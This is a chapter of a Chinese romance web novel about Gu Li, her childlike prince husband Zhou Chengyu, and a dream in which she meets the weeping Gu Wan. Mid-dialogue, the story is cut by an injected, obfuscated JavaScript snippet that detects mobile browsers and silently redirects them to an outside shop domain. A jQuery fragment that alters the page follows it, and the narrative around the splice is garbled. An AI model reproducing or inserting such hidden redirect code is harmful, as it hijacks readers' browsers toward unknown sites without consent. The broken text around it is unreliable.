“那你今晚还睡吗?”顾鲤问。
“当然要睡啦。”说完,周呈昱摸了摸自己的肚子,“不过……我的肚子在打雷了。”
刚说完他的肚子就传来一阵响声。
顾鲤一噎,好像她今晚也还没有吃过正经的晚饭。
她和玉珠吃了一下午的零嘴,现在也有些饿了。
只是没想到周呈昱也会饿着。
“你去皇宫,皇帝不给你饭吃?”
周呈昱委屈巴巴,“不知道,我饿饿。”
“唉,那我们吃点?”
“嗯嗯,娘子也没有用膳吗?”
“没有。”
顾鲤说的一本正经,周呈昱也没有多想。
他蹦蹦跳跳打开门,果然看到宁七在守着。
宁七恭敬行礼。
“王爷。”
“嗯,你去外面买些吃食来,清淡一点的。”
“是。”
顾鲤坐在床边,手捂着胸口,心率跳动的有些异常。
奇怪,怎么回事?
难道这副身体有什么隐藏的疾病吗?
可,自从她穿到这副身体里面,明明身体嘎嘎好呀。
受了伤也会快速愈合。
现在是怎么回事?
周呈昱压下心里的担忧,快步走过去。
“娘子,你怎么了?胸口痛痛吗?”
顾鲤看着他担忧的眼神,心里暖洋洋的。
语气轻松的说道:“没事啦,只是胸口有些闷罢了。”
“是嘛?”
周呈昱明显不信,想要扒拉开顾鲤的衣领,仔细看看。
顾鲤一心急,一巴掌拍了过去。
周呈昱的手背瞬间红了一个度。
“小孩子家家的,怎么能随便扒女孩子的衣领呢?”
周呈昱抱着被拍红的手,眼泪要掉不掉的。
他瘪着嘴巴,大声控诉,“我只是见娘子难受,想看看而已,你还打我……”
话刚说完,便坐在地上嚎啕大哭起来。
“额……”顾鲤尴尬的收回手。
她刚准备蹲下哄他,就被周呈昱撒泼打滚的样子震惊到了。
周呈昱双脚并用,自己根本就近不了身呀。
“那个……你别哭了呗。”
周呈昱冷哼一声,她不让哭就不哭了?那也太没面子了。
他撇过脸,哭得更大声了。
顾鲤头疼的揉着太阳穴,她根本就不会哄孩子。
算了,哭吧,哭累了就不哭了。
门外传来脚步声,顾鲤打开门就看到气喘吁吁的宁七。
天知道他在门口的时候就听见了他家王爷的哭,害怕被顾鲤这个魔鬼吃了,就快速的跑了过来。
看着宁七就要往屋里冲,顾鲤一个闪身就挡在了他面前。
见周呈昱哭的可怜,宁七心里着急,全然忘记了周呈昱并不是真的傻子。
宁七往左,顾鲤也往左。他往右,她也往右。
反正宁七过不去半分。
“你干嘛?”
“你干嘛?!”顾鲤反问。
“你没看到王爷已经哭了吗?”
顾鲤往后一看,周呈昱已经哭不出来了,只能慢慢的哽咽。
见她看过来,眼泪又不自觉的往下掉。
顾鲤一言难尽的转过身,“没哭,这是我们夫妻俩的情趣。”
情趣?
情趣他家王爷能哭的那么惨?
“不行,我进去看看。”
“唉唉唉-”
这宁七还真是一副榆木脑袋,刚抬头就看见周呈昱警告的看着他。
宁七看明白了,停下了向前的脚步。
这王爷还真是玩的花。
“那……那你们继续玩,属下先告辞。”
宁七把手中的食物递给顾鲤,僵硬转身,一溜烟便跑没了人影。
顾鲤用脚把门踢上,把食物排的整整齐齐放在桌子上。
她偷瞄了一眼还在赌气的周呈昱,拿起一块糕点放入嘴中,细嚼慢咽。
“哎呀,点心甜而不腻,某人竟然不吃,那我就独享了。”
周呈昱咽了一下口水,磨磨蹭蹭的爬起身。
顾鲤余光瞟见,嘴角勾起淡淡的笑容。
周呈昱过去,并没有来得及吃。
他坐在板凳上,食指戳着顾鲤的肩膀。
声音委屈巴巴,“你真的不哄我了吗?我很好哄的,真的不打算再哄哄了吗?”
顾鲤用力憋住嘴角的笑。
小样,跟谁俩呢?
“你不是不让我哄吗?”
“我,我没有啊。”周呈昱急得手舞足蹈,“我没有不让你哄,我只让你哄。”
顾鲤刚笑出声,随后憋下去。
她一巴掌拍在桌子上,周呈昱吓得抖了一哆嗦。
既然这样,她也开始无理取闹了。
“那你的意思是我还要哄你呗?”
周呈昱两根手指怼在一起,唯唯诺诺,“连哄都不能哄了吗?”
“嗯?”
“不哄了,不哄了,我会自己哄好自己的。”
顾鲤满意点头,将自己刚咬了一口的甜点塞进了周呈昱的嘴里。
“这才对嘛,这才是个好孩子。”
周呈昱没有再说话,撑着下巴,嘴里嚼着甜点。
别说,还真的挺好吃的。
“一会儿吃完了把眼睛收拾一下,不然出去了,别人还以为我欺负你了。”
周呈昱东西咽下,小声吐槽,“可不就是欺负了嘛。”
顾鲤心里无奈,之前她还觉得周呈昱比较好带。
没想到他一点也不知道男女之别。
不行,得好好说道说道。
“来来来,我跟你讲点道理。”
周呈昱吃的两边腮帮子鼓鼓的,看起来有些可爱。
“干嘛?”
顾鲤假笑,把他的脸颊搬过来,两人面对面。
“我跟你说,你不要随便拉扯女孩子的衣服,会被别人当成流氓的。”
“……可是,我没有动过别的姑娘的衣服,我只刚才动过你的,你还打我了。而且我们是夫妻啊,还是明媒正娶的哎。”
“哎呀,是夫妻没错。”顾鲤急得抓耳挠腮,根本不知道怎么解释。“可就算是这样,你也不能随便扒了我的衣服。”
“我也没有很随便啊,我也不是随便的人。”
顾鲤深吸一口气,被他气得头眼昏花。
算了,小孩子嘛,忍忍就好了。
“好的,现在不管你随便不随便了。反正,在没有我的允许下,你不可以扯我的衣服。”
周呈昱刚想反驳,就被顾鲤凶狠的眼神下熄灭了火焰。
好嘛好嘛,母妃说了,成亲之后,男子必须要听媳妇的。
“我知道了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840831|211640||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
顾鲤满意,“好了,我先去休息了,你把自己收拾一下再上来睡吧。”
“好。”
今日的顾鲤并不是很累,可一沾上床就跟昏迷了一样。
就连周呈昱偷偷摸摸在自己身上动手动脚都没有发现。
睡梦中,她身处一片白茫茫的天地。
没有任何色彩,只是无止边境的白。
“这里,是哪里?”
没有人说话,她只能向四周走动。
忽然间,她听到了一阵凄惨的哭喊声。
顾鲤身型一愣,心里发毛。
不会是遇见鬼了吧?
她咽了咽口水,脚底跟粘了胶水一样,不敢再往前一步。
似乎想到了什么,她用劲掐了一下自己的胳膊。
不疼。
果然,是在做梦。
我这个梦到底怎么才能醒来?留在这里,她感觉处处不舒服。
右上方一阵白雾散开,顾鲤警惕起来。
要出来了吗?刚才哭的那个女鬼?
不出所料,那地坐着一个白衣女子,拿着手帕,声音惨兮兮的。
等了许久,那白衣女子并不过来,只是哭声一直都在。
顾鲤低声道:“这么能哭的吗?不知道和周呈昱比起来谁厉害?”
她看不见女子的脸,只能看见她孤寂的后背。
这个身影有点熟悉,她想。
反正她现在在这个梦里也出不去,便忍着恐惧,走了过去。
“你好?Hello?Hi?美女?”
打了一番招呼,女子并未理睬她。
顾鲤直接一不做二不休,蹲在那女子面前。
可当看到那张脸,还是被震惊到了。
“顾婉?”
她惊呼出声。
她和顾婉只见过一面,可她怎么会梦见她呢?
顾婉面色惨白,眼睛哭得通红。
“你……”
顾鲤刚出声,顾婉身体一阵颤栗,好像被吓到了一般。
顾鲤无语,自己在这站了有一会儿了,还打了几声招呼。结果人家什么都没听见,什么都没看见。
顾婉懵懵的看着她,好像在询问她什么事。
安慰的话在嘴边绕了几圈,顾鲤直接问了出来。
“你怎么坐在这里哭呀?”
顾婉鼻尖通红,顾鲤将手上不知道什么时候出现的手帕递了过去。
顾婉接过,“谢谢。”
她压抑住哭声,缓缓道来。
“当今圣上逼迫我父亲将我送入宫中,我本想和赵郎一起逃往远处,可他心里根本就没有我,不愿带我走。”
说着,心里的委屈涌上,又低低抽泣起来。
顾鲤心情复杂,只能拍拍她的后背安慰。
“我不想入宫,可我不想毁了整个丞相府。可若要我离开赵郎,还不如死了算了。”
“唉唉唉。”
听着听着开始不对劲起来。
这怎么还是一个恋爱脑?
顾鲤脸色一变,“你可千万别想不开呀,生命是自己的,不能因为一个男人……”
“可我的命就是赵郎给的呀。”
“啥意思?”
那男人又没生她,也没养她,怎么就说自己的命是别人给的呢?
见自己有人听自己的心事,顾婉心中感动,便把自己心中的情愫说了出来。